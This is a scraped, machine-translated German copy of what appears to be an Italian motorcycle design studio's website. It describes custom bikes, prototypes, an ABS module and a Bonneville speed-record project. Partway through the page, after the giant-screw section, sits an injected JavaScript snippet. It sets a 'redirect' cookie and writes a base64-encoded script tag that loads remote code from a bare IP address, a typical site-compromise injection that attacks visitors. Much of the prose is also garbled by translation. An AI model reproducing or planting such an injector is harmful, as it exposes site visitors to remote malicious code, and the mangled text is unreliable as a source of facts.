Wir möchten auf alle Arten von Custom Bikes arbeiten, insbesondere wir möchten: BMW Einzylinder-Boxer und, CR&S eines DUU (auf diese loooong Erfahrung, die wir ..), Harley Davidson kleine und große, Triumph Bonneville e Familie, sondern auch verehren wir die Japaner, insbesondere weil Honda ist das Fahrrad, das wir wollten, und mit denen wir aufgewachsen.
Wir sind in Mailand, in einem schönen industriellen Kontext, bequem und vertraulich, kontaktieren Sie uns besuchen Sie uns, wir freuen uns, mit Ihnen zu entwerfen gemeinsam Ihr Fahrrad benutzerdefinierte, oder alternativ auch nur einen Chat bei Motorradfahrern zu machen.
Mockup digitale
Die Digital Mockup ist unsere Stärke. Und ‚die letzte Grenze im Bereich des Motorrad-Designs und ist auch seine natürliche digitale Evolution.
Der Digital Mockup ist ein Prozess, bei dem Unternehmen, die ein Motorrad produzieren wollen die klassische Phase Mockup in Ton vermeiden kann, die Phase der Neugestaltung und Unterbringung Prototype, sondern auch die komplizierte, langsam und teuer Schritt des Abtastens und Reverse Engineering. Dies kann in einer durchschnittlichen Einsparungen an ein Unternehmen übersetzt von 4/6 Monate auf TTM (Time to Market) und eine Kostenersparnis von ca. 80 / 120.000 € . Heute kann dieser Prozess für Unternehmen mit kleinen Produktionen oder häufigem Re-Design oder reduzierten Produktmargen sehr geeignet sein.
Dank unserer Design-Sensibilität und unsere Displaysysteme, sowie unsere 3D-Scanning-Systeme, wir können eine vollständig digitale Mockup Design, mit bereits einige Aufmerksamkeit auf das Engineering, wenn dies nicht ausreicht,, können wir schnell ein maßstabsgetreues Modell erstellen 1:1 oder mit prototyping Techniken reduziert, am besten das Endergebnis anzeigen.
Was wir in der digital wir haben eine perfekte stilistische Konsistenz und Proportionen für ein mögliche reales Modell realisieren.
Eine Schraube… aber Riese!
In gelten nicht nur Motorräder, aber Design-Projekte im Allgemeinen, Wir stellten fest, für das Unternehmen EJOT ein Prototyp sehr ungewöhnlich, es wird eine Schraube von der Größe noch nie gesehen, deren Höhe 1,60m für das Gewicht 290kg. Dieses Projekt hat dazu gedient, das Unternehmen zu einem schlagen Welthebe Aufzeichnungen, und ich würde sagen, dass wir in der Lage waren die Erwartungen der Kunden sowohl aus dem Gewicht Sicht gerecht zu werden erreicht, obbligatorimente 300 kg, mit der Fähigkeit, es zu + -20kg zu ändern, sowohl aus dem Gesichtspunkt der Ästhetik final.
Als erster Schritt durchgeführt wir zunächst eine Studie über Design ed Ingenieurwesen. Dies war ein obligatorischer Schritt, aber von entscheidender Bedeutung, da es ermöglicht, um besser auf die möglichen Verfahren zu bewerten für die Realisierung des Objekts durchgeführt werden; vor allem, wenn, wie in diesem Fall, Sie werden viele Operationen und viele Prozesse erforderlich. Der Ansatz unterscheidet sich je nach Projekt, das Sie vor haben, in unserem Fall konnten wir eine Realisierung durch eine Mischung von Techniken und Materialien bewerten.
Die Seele der Schraube besteht aus einem Block von Stahl geregelt, Sie haben auf der Oberfläche geklebt worden stampe 3D die werden das Erscheinungsbild der Rebe zu rekonstruieren. Diese äußeren Teile wurden in gedruckt PLA da November “drinnen” Taube, Nach einigen Wochen der Freilassung, Sie wurden geschliffen, geklebt Stahl, verfugt und schließlich gemalt. Bei der Montage und Konstruktion der Schraube, eine kontinuierliche Gewichtsüberwachung hat uns ermöglicht, unter Kontrolle zu halten die Schraube, während der Bestätigung zuvor die technischen Studien.
Das gleiche Verfahren wurde für den Wagen getan, die Strahlen von Stahl Sie wurden verschweißt zwischen ihnen (um so in der Lage sein sowohl als Träger für die Schraube, mit Transport zu handeln) und dann gemalt rot.
Hier sind die Bilder, die die verschiedenen Schritte unternommen illustrieren implementieren die Prototyp.
Bleiben Sie dran und auf dem Laufenden bleiben, ein ähnliches Projekt ( wenn nicht noch bizarre) an unserer Tür jederzeit klopfen könnte.
Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}
Italjet Dragster
Italjet Dragster 2020 Auflage
Eine überarbeitete Icon!
Die Italjet Dragster ist eines jener Symbole der 80/90 das wird für immer im Gedächtnis unseres bleiben ausschließlich auf den ‚Wunsch‘ Absteiger. Wir träumten wahrscheinlich mehr von Kim Basinger , vielleicht, weil beide inspiriert Wunsch zu plündern, wenn der abgedeckte zu sehen war so schön, wie ich entdeckt ...
Die Möglichkeit, auf ein solches Symbol unserer Jugend zu arbeiten, war also eine große Ehre, Freude und Verantwortung für uns.
Klare Ideen ...
Italjet hatte sehr klare Vorstellungen davon, wie sie ihr Flaggschiff Roller im neuen Jahrtausend sein sollten, Aber diese Ideen wurden in der Realität oder besser in Mathe 3D übersetzt.
Wir haben dann einige Versionen in 3D dann in ein digitales Maquette ging dann in das Produkt zusammengeführt, dass es möglich war, die Motorrad-Show EICMA zu bewundern 2018.
CR&S DUU “REDSHIFT”
Im Ziel der Forschung!
Die gegebene REDSHIFT ist die natürliche Entwicklung des Hinweises CR&S DUU, Motorrad ausschließlich in kleinem Kreislauf durch den Motorradhersteller Meneghina mit handwerklicher Form hergestellt.
wenn in 2013 duu das Projekt wurde durch unterbrochen Verstimmung Innere CR&S, seine Lead-Designer Donato Cannatello, Nach einem kurzen Aufenthalt in Matchless, Er beschloss, sein eigenes Design-Center zu öffnen, und auf neue Rechnung vorzutragen, das Projekt duu, jetzt verwaiste seinen Schöpfer, jedoch mit der Zusammenarbeit und der Zustimmung der ursprünglichen Gründer des exklusiven Motorrad, sowie der operativen Personal, dank der unverändert Achtung und Freundschaft.
Das ursprüngliche Fahrrad wurde nach denen entwickelt, die zur Zeit als natürliche Weiterentwicklung des Modells „Biotta“ identifiziert gewisse stilistische Standards waren („Nackte“ ed) gelegentlich von der Firma präsentiert.
Die Neugestaltung hat offensichtlich konzentrierte sich auf neue Rock Steady Front-End, die ursprüngliche invertierte Gabel mit einem innovativen System zur Zentralkissen ersetzt und Ummantelungen seitliches Gleiten. Laprogettazione das neue vordere Ende mit dem Computer geboren, Erstellen aller Komponenten mittels dreidimensionaler Modellierung und Analyse FEM , die es auch erlaubt uns jedes einzelne Teil durch die Kontrolle der Kräfte zu analysieren, denen es ausgesetzt ist,.
Die Komponenten wurden mittels CNC Entfernungstechnologie realisiert (Numerical Control
computerisierte) mit Billet-Fräsen.
das Design (oder vielmehr die Realisierung) verschiedener Kupferkomponenten ist die quid, die den chromatischen und Handwerkscharakter an das Motorrad gab.
Ausgehend von den ursprünglichen Formen von Karosserieteilen, durch Technologie traditionelle Typisierung basiert auf dem Platz, Sie haben Form einige Elemente genommen, die mit sich bringen, die Handarbeit von erfahrenen Handwerkern Certosini des Edelmetalls.
Die REDSHIFT ist immer noch ein Motorrad jeden Tag, nicht nur durch Leistung.
Eine der wichtigsten Komponenten, die diese Idee erfüllen, ist der neue Beifahrersitz / Schwanz, der eine doppelte Bedeutung hat, auf der einen Seite, „Cover-Auto“ mit einer Basis aus Aluminium billet hergestellt, die mit der Geometrie des Schwanzes / Tank eine visuelle Kontinuität schafft, während einfaches Drehen dreht es die gepolsterten Sattel aus den Passagier aufzunehmen, wenn nötig.
Der Projektname „Redshift“, das Phänomen, durch das das Licht von einem Objekt Astral eine Wellenlänge größer Größe als die emittierte hat er in Emission hatten, shiftando seine Farbe rot, Es symbolisiert die Entwicklung der duu, von kleinen Motorrädern nur Bike-Serie weiterentwickelt.
REDSHIFT IL:
- Die Rotverschiebung ist das Phänomen, durch das von einem Objekt ausgesendete Licht hat eine längere Wellenlänge als das, was in der Emission hatten.
Dies bedeutet, dass die Farbe rot wird. - Das wichtigste ist die Rotverschiebung in der Kosmologie, aufgrund der Expansion des Universums. Die Sterne zeigen insbesondere eine Rotverschiebung auf die Geschwindigkeit, mit welcher erhöht ihre Entfernung von der Erde entspricht,.
- Kupfer wird verwendet, auf unserer duu seine Verschiebung von der ursprünglichen duu, Alterung ändert seine Farbe,, die chromatischen Abweichungen davon aus, dass das Material nehmen.
Italienischer Motorrad-CONTEST
"BEST OF SHOW 2018"
unsere TRÄGT "Redshift" Er gewann den Preis "BEST OF SHOW" der nationale Wettbewerb IMC , clashing mit anderen Bikes schön und auf höchstem Niveau.
Das erfüllt uns natürlich mit Stolz und motiviert uns, noch besser zu machen.
Piaggio MP3 “Strom”
Der Piaggio MP3 nach Anspruch GEGEBEN!
technologisch, funktional und subversive.
Drehen Sie den Roller-Konzept: Es ist jetzt richtig für eine Neugestaltung des klassischen Rollers, wie durch eine schöne mechanische hässliche Plastikform bedeckt verstanden, der Markt für einen frischen Blick auf modernen städtischen Pendler bereit. Es gibt ein starkes Bedürfnis nach einem Mittel, das uns komfortabel täglichen Weg zur Arbeit mit Leichtigkeit erlaubt, Zuverlässigkeit und Komfort. Aber heute Roller "reifen", Wer ein zuverlässiges und brauchbares Produkt sucht, sondern ihn auch bemerkt werden, zu ermöglichen, und Sie übertragen ihre Erfahrung und Leidenschaft Motorrad zu anderen, Er ist bereit, etwas in Bezug auf Komfort zu verzichten nur ein Medium zu haben, die sie charakterisiert und identifiziert, sondern auch und vor allem, was Spaß, dass die Begeisterung!
Wir wollen ein Objekt erstellen, die in es sei denn, die Vorteile aller Motorrad Welten sammelt, aber die Gefühle, die Antriebe, die typischen Attraktionen aller Welten, confluendole in einem von der einfachen Industrialisierung und Kommerzialisierung.
.1 Leistung: Der Motor wird das schlagende Herz, das koordinierende Element, die Basis, unnötig Ton, aber effizient perfekt. Ein moderner 300cc Motor ist die perfekte Balance zwischen Leichtigkeit und Leistungen als, aber in diesem Fall ist es notwendig, eine größere Verschiebung Motor (500~ 800cc) dass trägt gute Stimmung wie ein Motorrad.
.2 zeitlos: Immer die oxymoronic Kombination Form vs. Funktion hat gegriffen Designer, in diesem ewigen Dualismus nur eines ist sicher, die Funktion ist ewig, die Form Alterung. Unsere Vision ist eng mit der Funktion der jeweiligen verknüpften, seine mechanischen topisch.
.3 Charme: Die Beschwerde ist in diesem Fall ein Kind, das eines der Waschmaschine sieht Spin. Eine tägliche Notwendigkeit, eine Routine Ritual, das trotz seiner visuellen Eitelkeit nicht für seine kaleidoskopische Tour von Farben und Details verzaubern.
.4 Mechanik: Die raffinierte Mechanik, von funktionalen Komponenten, sondern auch schön, nicht zu Industrie, gut gemacht und entworfen gesehen und geschätzt zu werden, Intrigen und anziehen.
Der Stream ist unser Vorschlag für die Zukunft Stil für MP3-Familie. Und ‚seine natürliche Variation in Schlüsseln 2020, Es ist noch ein Roller, aber die Details sind supernaked. Es ist ein Projekt mit auf der Erde zu erforschen Wege, die anderen Motorradhersteller jetzt unerforscht gelassen haben, Es bedeutet, den Roller als Mittel zum provisorischen Motorrad, sondern als Weiterentwicklung des klassischen Motorrades.
Unser Vorschlag bietet verschiedene Möglichkeiten zur Definition, aus dem statischen Mock-up zu einer funktionierenden Prototypen und Produktionseigenschaften mit Beton. E ‚mit dem oberen Rand des aktuellen Bereichs in Bezug auf mechanische und Autofahren. Sein innovativer Beitrag bezieht dich auf den nicht-mechanischen Stil.
Vespa Tattoo
Was kann sagen, Sie über die Vespa, die nicht bereits gesagt wurde,? Forse geben un bel Tätowierung?
Die Wespe ist eine Ikone des Motorradfahrens und beliebten Motors, Er hat die Jahrzehnte überspannt, während auf der Schneide verbleibenden, immer sich selbst treu, immer ein Mythos der Light Engine. E ‚wurde in allen möglichen Interpretationen interpretiert, von der die meisten pistaiole und Spaß an den sehr hipster (o Hippie), verschiedene Kulte vorbei, wie es durch den Film erzeugten Quadrophenia die 1979, Symbol einer Generation in der Stimmung, sich gegen Rebellion!
Im Laufe der Jahre wurde die Wespe zerstückelt, farbig, stümperhaft, vorbereitet, aufgehellt und gewichtet, bekannt geworden durch e volgarizzata gemacht ... wir haben es einfach tätowiert!
Wir haben unauslöschlich seine Stahlhaut geätzt (blieb Stahl, immer getreu dem ursprünglichen Plan von Corradino D'Ascanio), wir haben über eine schönes Blumenmuster geschnitzt, die ein integraler Teil seines Körpers / Chassis geworden ist, unauslöschlicher Teil, eine ewige Liebe, das kann nicht mit einem einfachen Anstrich gelöscht werden, dass immer dort, wo es gesetzt wurde.
Wir nahmen den Körper mit einer Ahle und erfahrenen Tätowierer oder eher Handengraver haben wir eine leichte Entlastung kaum spürbar auf die Berührung, Wir haben dann mit der ursprünglichen Farbe bedeckt "Wunde" erstellt Haltbarkeit zu gewährleisten und es noch leichter und unmerklich unsere Intervention machen.
Das Ergebnis ist ein Design nur wahrnehmbar, extrem elegant, extrem erhaben, wie nur wissen wir, wie Italienisch zu tun.
-
- Vespa Tattoo
Das Motorrad Tattoo ist ein Prozess, den wir das Vorliegende erfundenen und wir sinken es in vielen Variationen, mehr oder weniger raffinierte, mehr oder weniger sichtbar, je nach dem Motorrad, Eigentümer, und das Material, auf den wir zur Arbeit gehen. Wir können auf Kunststoff arbeiten, aus Aluminium oder Eisen, lackiert oder roh, für jedes dieser Materialien haben wir ein Verfahren in Abhängigkeit von den Eigenschaften des Materials und der Veredelung Anfrage entwickelt.
Weitere Informationen finden Sie auf unserer Seite zu diesem Ziel gewidmet.
Die Verarbeitung wurde ein wenig komplexer Prozess, da der Körper der Wespe strukturelle und nicht-entfernbare, so war es ein Vergnügen, direkt auf dem Rad zur Arbeit Spaß.
OEM Motorrad ABS Systeme
Dank unserer Partnerschaft mit einem Hersteller von Systemen für die Erstausrüstung ABS, wir können folgen die Motorradhersteller für die Montage von Erstausrüstung OEM-Systeme Motorrad ABS.
Die Leistung unseres Produktes ABS hat erfolgreich die Zertifizierung EUR Standard IV (Luxemburg Ateel) bis August 2015 und auch die EMV-Zertifizierung im November 2015. Das Unternehmen wurde durch den TÜV IATF16949 bewertet (Deutschland) im Dezember 2015 und wir haben auch eine strategische Partnerschaft mit vielen internationalen Unternehmen abgeschlossen, wie Benelli, PIAGGIO, AMOUNT, LONCIN, Lifan, Qianjiang, Äon, Zongshen.
Produktübersicht :
- Es verbessert die Stabilität und die Kontrolle über das Fahrrad
- Es verkürzt den Bremsweg
- Leichtbau (alles in einem) und ein einfaches Einsetzen in das Fahrrad
- Größe: 86.6× 64 × 98.6mm
- Gewicht: ≈0.746Kg
- Automatische Art der Straßenoberfläche und der Schlupf variable Steuer Identification
- CAN-Diagnose-Schnittstelle und KLINE
- Geringe Störstrahlung
- Einkanal-: Vorderrad
- Dual Channel Control: sowohl das Vorderrad und hintere
Notbremsung Tests 100 km / h mit und ohne ABS
technische Vorteile:
- Kompakte Bauform und spezifische Größe für die Installation auf dem Motorrad
- Magnetventil, Mikrofluss für das Bremssystem
- Algorithmenentwicklung und Selbsterzeugung Code auf Basis von Matlab / Simulink
- Die Steuerung der Drehzahl des Motorrades basierend auf PWM
- Systemarchitektur MCU + ASIC auf vierlagige PWB
- OSEK RTOS erfüllt die Anforderungen
- Entwicklung der ECU in Übereinstimmung mit den Anforderungen ISO26262
- Unterstützung für die Kommunikation über die K-Leitung und CAN, mit der Lieferung der kompletten Fehlerdiagnose
- mehr als 100 Sicherheitsüberwachung und Management-Strategien
- Es unterstützt die Kalibrierungsfunktion auf Basis von CCP (CAN Calibration Protocol)
- Advanced Produktions-Technologie, Fehlerkorrektur-Technologie und moderne Produktionsanlagen
Betrieb des Produkts:
das Anti-Blockier-System (MABS) Es ist speziell für Motorräder, unter Berücksichtigung der Dynamik des Fahrzeugs, und die Eigenschaften des Bremssystems.
Die sich auf den Zustand der Bewegung gebremsten Rades (lesen jede Millisekunde) vom Radgeschwindigkeitssensor, l ‚ABS stellt das Bremsmoment der Räder zu verhindern, dass ein Blockieren.
Dies ist ein Regelsystem, und kann die folgenden Vorteile aufweisen:
- Die Stabilität des Fahrzeugs kann in jedem Zeitpunkt des Bremsens sichergestellt werden,.
- Der Abstand der Brems kann, indem eine volle Nutzung des kautschukBodenHaftung verkürzt werden.
Abschnitt Pumpen Umsetzung
Abschnitt des Drucksensors
Harley Davidson V-ROD “VRASCAW”
Ein viel diskutiertes Motorrad Harley Davidson V-Rod, in allen seinen vielen Variationen. Auch viele tun es nicht eine echte Harley Davidson betrachten wegen seiner technologischen wassergekühlten Motor, im Gegensatz zu den Grundsätzen der Einfachheit der Bewegung von Milwaukee.
Doch wir möchten sehr, Wir möchten es für seine niedrige Linie und Muskel, für seinen Stil "nutzlos " Durchführen.
Vielleicht könnten wir sogar sagen, dass besser als alle anderen Harley Davidson V-Rod die amerikanische Philosophie ist auf dem Weg zu gehen,, großer Motor, große Leistung, vom Gatter Rad- und gesprengte trim. Ausschließlich von Burn-out oder Autobahn Schießen (oder besser "Autobahn"!)
Unsere Arbeit auf dem Rad fokussiert, normal in Bezug auf Anpassung ist, dass wir in Betracht ziehen, in erster Linie auf die Gesamtvolumina, im zweiten Fall haben wir die Fahrbarkeit und im allgemeinen überprüft die Maßnahmen ist, dass anthropomorphen geometrische Mittel der Bewegungs, Schließlich haben wir uns auf die Details.
Das Emissionsvolumen wurde versucht, beschlossen, das Fahrrad eine Gesamtschau gedrungener zu geben und weniger die ursprüngliche Version des Harley Davidson V-Rod gestreckt, wir sprachen dann auf die Positionierung und die Form der Karosserie-Komponenten als Reservoir, faro, Instrumentierung und Schwanz.
Da die Struktur und Geometrie in Bezug auf erhöhten wir die hintere, um den Radstand zu verkürzen, heben den Schwerpunkt und die Achse der Lenkwinkel verticalize, Dies hat zu einem besseren Handling und Fahrbarkeit, besser geeignet für den Einsatz des Motorrads Zeitung.
Schließlich haben wir alle Details, mechanische und ästhetische, die Teile Zeichnung in 3D realisiert werden, eine erste 3D-Druckversion geben, und bestätigt einmal die Güte, wechselten wir auf die Realisierung von Aluminiumbauteilen, ABS-Kunststoff und Kunststoff PMMA transparent über CNC.
Letztlich unsere Harley Davidson V-Rod ist perfekt unser Stil von Motorrad individuell gestaltet werden maßgeschneiderte, maßgeschneiderte in jeder Hinsicht für die Kunden, so dass es ruhig eingekreisten, mit den Regeln und mit viel Liebe zum Stil, sondern auch die Benutzerfreundlichkeit.
Farbe & Trimmen – Malerei und Grafik
Ein guter Anstrich ist die Basis, aber es ist auch der Stolz eines Motorrades.
die gleiche, oder vielleicht sogar mehr, gilt für die "Farbe & trimmen" oder das komplette Grafik-Projekt eingestellt.
Dank unsere Kreativität und unsere Geduld und Liebe zum Detail können wir komplette grafische Malerei des Fahrrads erreichen, ob es in flacher Tönung sein, oder mit speziellen Farben und auffälligen Grafiken besonders.
GEIST
ROBERTO GEHT NACH BONEVILLE
Der Navigator des Multivan hält uns um halb zehn vor dem geschlossenen Tor eines Bauernhauses an. aus dem Auto. Im Hof einer alten Dame schon weiß er, was die Frage sein wird, dass verwandeln. Vor mir über das graue Tor hörte er die gleichen Worte von Graziano Rossi, Marco Belli, Makoto Tamada.
„Und, Diese Adresse wird über Ca ‚Nine ein, aber sie gaben die gleichen Namen auf eine Straße im Industriegebiet in der Nähe von hier. Sie haben nach Verona zurück. Biegen Sie an der Ampel links und am ersten Kreisverkehr rechts ab. "
Ich schalte den deutschen Navigator aus und wir verlassen uns auf Google Map. Das Smartphone Diego in 10 Minuten bringt uns zum Eingangstor der In-Motion. Gianna begrüßt uns im Büro. Die Klimaanlage yells, als ob es würde, und außerhalb gibt es vierzig Grad. Durch das Glas, im Schuppen, HRC und Minolta Marken, die sie kennen MotoGP. An der Wand eine Reihe von farbigen Tanks mit der Marke Zaeta. Das Mädchen mit blauen Leggings Packungen in Kartons umkreist Kineo bereit zu versendenden. Ein schöner Arsch….
Roberto hat uns einen Termin hier, die Farm von Julius Bernard, machen Fotos, die die erste Rate von diesem verrückten Projekt erzählen. Massen ebenso wie Projekte, die Menschen nahe der Leidenschaften binden. Roberto Maria Crepaldi sessantino ist ein Sohn von Kunst. Mit siebzehn Jahren begleitet er die Kunden seines Vaters Händler, um das Auto Enzo Ferrari abholen. Im Laufe der Jahre hat er dazu beigetragen, Italien der Marke Jaguar zu bringen, Aston Martin, Triunph, Harley Davidson e Husquarna. in 1993 Er gründete das CR-Team&S Britten e con la Britten V 1000 Er hat in drei Ausgaben der Tourist Trophy teilgenommen.
heute, mit RMC Marke, Cycles Rekord Motor, Er arbeitet auf dem Salzsee von Boneville zu gehen und den Geschwindigkeitsrekord Verriegelung 420-3 km / h schlagen.
Während Diego bereitet Kamera und Objektive, Roberto Team nach und nach erfüllt. Ugo Torri ist ein Unternehmer und ein Gentleman-Driver mit einer Leidenschaft für Geschwindigkeit und schöne Motorräder. Giulio Bernardelle ist der technische Leiter des Projekts. Er gewann zwei Welt mit Valentino Rossi und Roberto Locatelli, Er war Technischer Direktor des Pramac Honda und Konica Minolta Honda Team in der MotoGP. Donato Cannatello ist der Designer verantwortlich für die Strömungskörper des Motorrads. Dario Marchetti fuhr auf der Strecke und auf der Straße, in der Welt, in Superbike, nell'endurance, ein Macao e Suzuka. In Amerika hat er bereits in Daytona und der Salzsee von Boneville fast liegend auf RMC gewinnt mehr als vierhundert pro Stunde auf dem Datensatz laufen.
Die Jungs von In-Motion führen aus dem dem Prototyp der RMC Schuppen. Das Team drängt sich um das Motorrad. Diego beginnt zu schießen.
Stellen Sie sich einen späten Winternachmittag vor, Ein Mann sitzt an seinem Schreibtisch, er hat ein weißes Blatt vor sich, auf dem er die ersten zeichnen will, aufgeregt werden, Bleistiftmarkierungen lassen die Skizze seines Traums Gestalt annehmen, auf zwei Rädern, mit einer eigenen Marke, Das verbirgt sicherlich nicht die ehrgeizigen Ziele, die es erreichen will, Cycles Rekord Motor.
Dieser Mann heißt Roberto Maria Crepaldi, und er hat sich schon mehrere träume auf zwei rädern erfüllt. Es wurde professionell im Allradumfeld geboren, anfangen mit seinem Vater zu arbeiten, Wer war ein Ferrari-Händler. Seine, sehr jung, Auf diese Weise hat er die Möglichkeit, eine Person kennenzulernen, die für sein Training wichtig ist und viel über die Verwirklichung ehrgeiziger Träume weiß, Enzo Ferrari.
Nach der Erfahrung im Automobilbereich, Dort wechselt er von Ferrari zu Jaguar zu Aston Martin, Roberto widmet sich seiner großen Leidenschaft, Motorräder, und es hört nicht mit dem Vergnügen auf, sie zu fahren. Anfang der 1980er Jahre nahm er am Relaunch von drei sehr bekannten Marken wie Harley Davidson in Italien teil, Triumph und Husquarna. in 1993 Er gründete das Team CR&S, CafeRacer & Superbikes und treffen einen anderen sehr wichtigen Charakter, der Neuseeländer John Britten, Ein Motorrad-begeisterter Architekt, der sein Rennrad in seiner Garage entworfen und gebaut hat
sein Nachname. V-Twin Motor 1000 cc mit genialen und innovativen Fahrradlösungen, Britten läuft in der neu gebildeten Kategorie B.E.A.R.S. (reserviert für Prototypen nicht japanischer Zweizylinder- und Dreizylinder-Motorräder) und das CR-Team&S wird zum Bezugspunkt in Europa und nimmt mit dem Britten V1000 an vielen internationalen Rennen teil, unter denen 3 Tourist Trophy auf der Isle of Man und gewinnt die B.E.A.R.S Championship. Weltserie.
Roberto und John sind sehr gute Freunde, Sie haben gemeinsame Ideen und Ziele und sie haben auch viel Leidenschaft gemeinsam, mit gleicher Energie gewürzt, ermöglicht es ihm, diese ehrgeizigen technischen und sportlichen Ziele zu erreichen. Wie viele schöne und aufregende Geschichten, Leider macht auch dies einen schrecklichen Moment durch, im September von 1995, so schlimm wie das unerbittliche Böse nimmt John weg, gerade 45 Jahre. Roberto und das CR-Team&S Rückkehr zur Tourist Trophy in 1996, auf dieser magischen Insel in der Irischen See verloren, wo alles ein paar Jahre zuvor begann, und mit Shaun Harris am Steuer, Der Britten V1000 fährt unter der Zielflagge des Senior TT vorbei, Es ist eine große Befriedigung, sich an seinen Hersteller zu erinnern und ihn mit einem weiteren wichtigen Sport-Siegel zu ehren, das untrennbar mit der erfolgreichen Partnerschaft der Antipoden verbunden ist und die uns in Zukunft immer wieder in Erstaunen versetzen und begeistern wird.
in 2002 Roberto wird Hersteller und Marke CR&S präsentiert zwei interessante und originelle Motorräder, der Einzylinder CR&S VUN nel 2005 und der Zweizylinder CR&S DUU in 2009.
Kehren wir zu diesem Blatt Papier zurück, das ein paar Minuten später, es hat sehr wenig weiß. Roberto, dass er auch darin sehr klare Vorstellungen hat, Zusätzlich zu den Linien des Fahrrads, die geboren werden müssen, Er hat bereits die Formation im Sinn, die diesen Entwurf umwandeln muss, zuerst verfeinern und dann materialisieren, einem wirklich einzigartigen und furchtbar schnellen Produkt Leben einhauchen, schnell genug, um die Marke zu ehren, die es auf dem Panzer tragen wird, um einen neuen Geschwindigkeitsrekord aufzustellen, vielmehr zwei, auf dem Salzsee von Boneville.
Das Team muss kohärent und effektiv sein, weil es viel zu tun geben wird und es gut gemacht werden muss, sehr gut. Dafür wird Roberto von Ugo Torri begleitet, Geschäftsinhaber, Ein großer Enthusiast von zwei Rädern, der viel über ehrgeizige Ziele weiß, Ugo ist der Direktor des RMC-Projekts.
Für den technischen Teil übernimmt der Ingenieur Giulio Bernardelle die Design- und Führungsverantwortung für dieses faszinierende Abenteuer, mit großer Erfahrung in der Welt des Rennsports und in Zweitaktmotoren, Beitrag zu den Weltmeistertiteln von Roberto Locatelli und Valentino Rossi auf Aprilia 125 e 250 cc, beide im Bereich der Viertaktmotoren mit Vergangenheit in der MotoGP.
Die Aerodynamik ist das andere Kapitel von grundlegender Bedeutung, um den aktuellen Rekord zu brechen, und in Boneville für die Kategorie Teilweise optimiert, teilweise mit freiliegendem Piloten verkleidet, wo unsere beschlossen haben, sich zu versuchen, und von 423 km / h. Und, Sie haben richtig gelesen, es sind vierhundertdreiundzwanzig Kilometer pro Stunde, und die Linien der Motorräder werden von Donato Cannatello bearbeitet und gebaut, Besitzer von Given, dynamisches Unternehmen, das sich auf die Prototypenstudie und den Bau komplexer Karosserien spezialisiert hat.
Auch bei der Wahl des Fahrers zeigt Roberto noch einmal, dass er wirklich weiß, wie es geht. Derjenige, der die Last haben wird, und Ehre, Gas geben heißt Dario Marchetti, Berufskraftfahrer mit über 30 Jahren Karriere, Dario ist auf vielen der wichtigsten und faszinierendsten Strecken der Welt gefahren, von Daytona Macau sammeln viele Erfolge. Bei einem Plausch sagt Dario mir: „Sai, die Tatsache, dass sie wählte mich erfüllt mich nicht nur mit Stolz, Ich bin aufgeregt und sehr geehrt, Teil dieses Teams zu sein, Roberto ich ihn für eine lange Zeit bekannt, und ich respektiere ihn sehr, wir sind Freunde und ich fuhr ein paar Jahren für ihn vor, direkt am fantastischen Fahrrad Britten V1000-Team CR genannt&S“. alles zurück, wunderbar, mit Leidenschaften und Emotionen, die treffen und verflechten. „Dann“, weiter, „In meiner langen Karriere fehlen nur zwei Dinge, ein Rekordversuch und die Isle of Man Tourist Trophy, an der ich in den 1980er Jahren teilnehmen musste, aber für letztere ist es jetzt zu spät ".
Großartiger Dario, Denken wir jetzt an die Aufzeichnung und dann an die TT – als Ehrenrunde gedacht – Vielleicht kann etwas getan werden …aber im Moment enthüllen wir nichts und konzentrieren uns weiterhin auf Bonneville.
Das Team wird vom Medienmanager Riccardo Capacchione vervollständigt, professioneller Journalist sowie gültiger Tester für viele Fachzeitschriften und Raffaele Canepa, Fotograf, und Regisseur, der als Medienproduzent fungieren wird.
Das Projekt ist wirklich interessant und technisch sehr faszinierend. In einem Chassis mit gemischter Struktur wird das Saugmotor a untergebracht 8 Zylinder, sehr kompakt, in Längsrichtung positioniert. Die Verschiebungen betragen 2000cc für "Red Spirit", Das ist eine Hommage an die immense italienische Motorradkultur, seit vielen Jahren der absolute Bezugspunkt für alle anderen Nationen, und von 2500 cc für "Tribute to John Britten" zu Ehren dieses brillanten Charakters, der mit wenig Mitteln, unterstützt von einer Handvoll technischer Freunde, schuf eines der schönsten Rennmotorräder aller Zeiten, Versiegeln der starken Bindung zwischen John und Geschwindigkeit. in 1993 Ein motorisierter Torpedo vom Typ Britten V1000 eroberte Weltrekorde auf der Viertelmeile und auf der Meile von einem stehenden Start und auf dem gestarteten Kilometer.
Die Arbeiten gehen schnell voran und in einiger Zeit werden wir das Geräusch dieses leistungsstarken Motors hören können, der eine Kraft von über haben wird 400 Cavalli. Der Countdown für die Boneville Speed Week hat begonnen 2017. Ghost wird das Vergnügen und die Ehre haben, alle Entwicklungsstadien dieses schönen und aufregenden Abenteuers zu erzählen.
Danke Roberto und danke an das ganze RMC Team. Bonneville nähert sich, Lassen Sie uns die Motoren starten!!!
Text: Pier Giuseppe Ortalda
Foto: Diego Mola
H4 – MOTO TATTOO
Starke Erfahrung mit unserem Finish "Unpaint", haben wir eine weitere Evolution entwickelt, die "Moto Tattoo"! Wie Tätowierungen sind dauerhaft auf unserer Haut graviert, die gleiche Art und Weise haben wir versucht, dauerhaft auf dem Fahrrad Haut ihre Grafik zu beeinflussen, sein Stil, sein künstlerisches Talent und seine Inspirationen.
